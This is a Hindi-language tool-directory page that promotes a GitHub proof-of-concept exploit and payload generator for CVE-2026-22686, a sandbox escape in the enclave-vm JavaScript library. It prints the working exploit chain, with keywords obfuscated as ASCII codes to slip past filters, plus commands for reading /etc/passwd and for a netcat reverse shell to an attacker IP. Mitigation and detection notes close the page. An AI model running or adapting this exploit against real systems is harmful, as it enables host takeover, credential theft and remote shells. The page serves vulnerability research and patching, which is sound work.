Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — CVE-2026-22686 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और पेलोड जनरेटर, जो enclave-vm <2.7.0 में एक सैंडबॉक्स एस्केप है जो मनमाना कोड निष्पादन और रिवर्स शेल सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेपर और शोधलर्निंग और शिक्षारेड टीमिंग

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

CVE-2026-22686 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और पेलोड जनरेटर, जो enclave-vm <2.7.0 में एक सैंडबॉक्स एस्केप है जो मनमाना कोड निष्पादन और रिवर्स शेल सक्षम करता है।

रिपॉजिटरी देखें
2720 दिन पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2026-22686 — enclave-vm सैंडबॉक्स एस्केप PoC

CVE CVSS enclave-vm Python License

CVE-2026-22686 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) एक्सप्लॉइट और पेलोड जनरेटर, जो enclave-vm के 2.7.0 से पहले के संस्करणों में एक गंभीर सैंडबॉक्स एस्केप भेद्यता है, जो होस्ट Node.js रनटाइम के भीतर मनमाने कोड निष्पादन की अनुमति देता है।

⚠️ अस्वीकरण: यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। पूर्व लिखित सहमति के बिना सिस्टम के विरुद्ध इसका उपयोग अवैध है। लेखक किसी भी दुरुपयोग के लिए कोई दायित्व नहीं मानता।


📖 विषय-सूची

  • अवलोकन
  • भेद्यता विवरण
  • यह कैसे काम करता है
  • इंस्टॉलेशन
  • उपयोग
  • पेलोड संरचना
  • शमन
  • कानूनी
  • संदर्भ
  • लेखक
  • लाइसेंस

🔍 अवलोकन

enclave-vm एक JavaScript सैंडबॉक्सिंग लाइब्रेरी है जिसे नियंत्रित वातावरण के भीतर अविश्वसनीय कोड को सुरक्षित रूप से निष्पादित करने के लिए डिज़ाइन किया गया है। < 2.7.0 संस्करणों में, होस्ट-साइड एरर ऑब्जेक्ट्स को सैंडबॉक्स में उजागर करने के तरीके में एक खामी है जो हमलावर को प्रोटोटाइप चेन को पार करने और होस्ट के Function कंस्ट्रक्टर तक पहुंचने की अनुमति देती है, जिससे प्रभावी रूप से सैंडबॉक्स से बाहर निकलना संभव हो जाता है।

इस रिपॉजिटरी में शामिल हैं:

  • एक पेलोड जनरेटर जो पेस्ट करने के लिए तैयार JavaScript पेलोड उत्पन्न करता है
  • होस्ट पर मनमाने कमांड निष्पादन के लिए समर्थन
  • रिवर्स शेल पेलोड के लिए समर्थन
  • एक द्विभाषी इंटरैक्टिव CLI (फ्रेंच / अंग्रेज़ी)

🛡️ भेद्यता विवरण

फ़ील्डमान
CVE IDCVE-2026-22686
CVSS v3.110.0 (गंभीर)
CWECWE-693 — सुरक्षा तंत्र विफलता
घटकenclave-vm
प्रभावित< 2.7.0
में ठीक किया गया2.7.0
प्रभावसैंडबॉक्स एस्केप → मनमाना कोड निष्पादन (RCE)

मूल कारण

जब एक सैंडबॉक्स्ड टूल कॉल विफल होता है, तो enclave-vm होस्ट-साइड Error ऑब्जेक्ट को वापस सैंडबॉक्स्ड कोड में उजागर करता है। चूंकि यह एरर ऑब्जेक्ट होस्ट वातावरण से अपनी मूल प्रोटोटाइप चेन बनाए रखता है, एक हमलावर निम्नानुसार चेन को ऊपर की ओर चल सकता है:

Error instance
   └── Error.prototype
        └── Error constructor
             └── Function constructor  ← host Function!

एक बार होस्ट Function कंस्ट्रक्टर प्राप्त हो जाने पर, हमलावर होस्ट रनटाइम में मनमाना JavaScript संकलित और निष्पादित कर सकता है — पूरी तरह से सैंडबॉक्स को बायपास करते हुए।


⚙️ यह कैसे काम करता है

एक्सप्लॉइट इन चरणों का पालन करता है:

  1. होस्ट-साइड एरर ट्रिगर करें एक गैर-मौजूद टूल को कॉल करके (callTool('NONEXISTENT', {}))।
  2. एरर ऑब्जेक्ट प्राप्त करें सैंडबॉक्स से (यह होस्ट प्रोटोटाइप चेन का संदर्भ रखता है)।
  3. प्रोटोटाइप चेन को पार करें Error.prototype.constructor.constructor तक पहुंचने के लिए, जो होस्ट का Function है।
  4. हमलावर के पेलोड को संकलित करें होस्ट Function का उपयोग करके और इसे निष्पादित करें।
  5. पेलोड child_process लोड करता है और एक मनमाना शेल कमांड निष्पादित करता है (या एक रिवर्स शेल स्पॉन करता है)।

सभी संवेदनशील कीवर्ड (constructor, __proto__, __lookupGetter__, prototype) को ASCII कैरेक्टर कोड के रूप में अस्पष्ट किया गया है ताकि भोले स्टेटिक फ़िल्टर को बायपास किया जा सके।


📦 इंस्टॉलेशन

कोई बाहरी निर्भरता नहीं — केवल Python मानक लाइब्रेरी का उपयोग करता है।

git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py

आवश्यकताएँ:

  • Python 3.8+

🚀 उपयोग

इंटरैक्टिव मोड

python3 generator.py

आपसे अनुरोध किया जाएगा:

  1. अपनी भाषा चुनें (फ्रेंच / अंग्रेज़ी)
  2. पेलोड प्रकार चुनें (कमांड या रिवर्स शेल)
  3. कमांड / IP / पोर्ट प्रदान करें

फिर उत्पन्न पेलोड को कॉपी करें और इसे भेद्य सैंडबॉक्स इनपुट में पेस्ट करें।

कमांड निष्पादन

python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"

रिवर्स शेल

टर्मिनल 1 (हमलावर — लिसनर):

nc -lvnp 4444

टर्मिनल 2 (जनरेटर):

python3 generator.py --revshell 10.10.15.152 4444

परिणामी पेलोड को कॉपी करें और इसे सैंडबॉक्स में पेस्ट करें। आपको टर्मिनल 1 में एक शेल प्राप्त होना चाहिए।

रॉ पेलोड आउटपुट

python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard

CLI विकल्प

फ़्लैगविवरण
-c, --commandनिष्पादित करने के लिए शेल कमांड
--revshell LHOST LPORTएक रिवर्स शेल पेलोड उत्पन्न करें
--rawकेवल पेलोड प्रिंट करें (कोई बैनर नहीं, कोई सजावट नहीं)
--lang {fr,en}इंटरफ़ेस भाषा को बाध्य करें
-h, --helpसहायता और उदाहरण दिखाएं

🔬 पेलोड संरचना

1. ASCII डिकोडर

const s = (...args) => String.fromCharCode(...args);

रनटाइम पर ASCII कोड एरे को डिकोड करने के लिए एक छोटा हेल्पर।

2. अस्पष्ट कीवर्ड

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"

साधारण स्ट्रिंग-आधारित फ़िल्टर से बचता है।

3. एक्सप्लॉइट चेन

const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;
try {
    await callTool('NONEXISTENT', {});
} catch (e) {
    hostError = e;
}

const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon];   // Host's Function constructor
const result = HostFunc(payload)();      // Arbitrary code execution

होस्ट Function का उपयोग तब child_process.execSync() के माध्यम से हमलावर के कमांड को निष्पादित करने के लिए किया जाता है।


🛡️ शमन

डेवलपर्स के लिए:

  • enclave-vm को >= 2.7.0 में अपग्रेड करें।
  • अपने डिपेंडेंसी ट्री का नियमित रूप से ऑडिट करें (npm audit, Snyk, Dependabot)।
  • अतिरिक्त सत्यापन के बिना अविश्वसनीय इनपुट के लिए सैंडबॉक्स निष्पादन सुविधाओं को कभी उजागर न करें।
  • सैंडबॉक्स्ड कोड को पृथक प्रक्रियाओं में चलाएं (जैसे isolated-vm, gVisor, Firecracker)।

उपयोगकर्ताओं / संगठनों के लिए:

  • उत्पादन में पुरानी सैंडबॉक्स लाइब्रेरी की निगरानी करें।
  • उपयोगकर्ता कोड निष्पादित करने वाली किसी भी प्रक्रिया से आउटबाउंड नेटवर्क एक्सेस को प्रतिबंधित करें।
  • न्यूनतम विशेषाधिकार के सिद्धांत को लागू करें: Node.js प्रक्रियाओं को गैर-रूट के रूप में चलाएं।

पहचान:

callTool('NONEXISTENT', __lookupGetter__, कॉमा-सेपरेटेड इंटीजर लिटरल के लंबे एरे, या child_process / execSync वाले HTTP अनुरोधों या कोड सबमिशन की तलाश करें।


⚖️ कानूनी

यह प्रोजेक्ट कड़ाई से शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान के लिए प्रकाशित किया गया है। यह सुरक्षा शोधकर्ताओं, अधिकृत प्रवेश परीक्षकों और CTF खिलाड़ियों के लिए है।

टूल डाउनलोड करें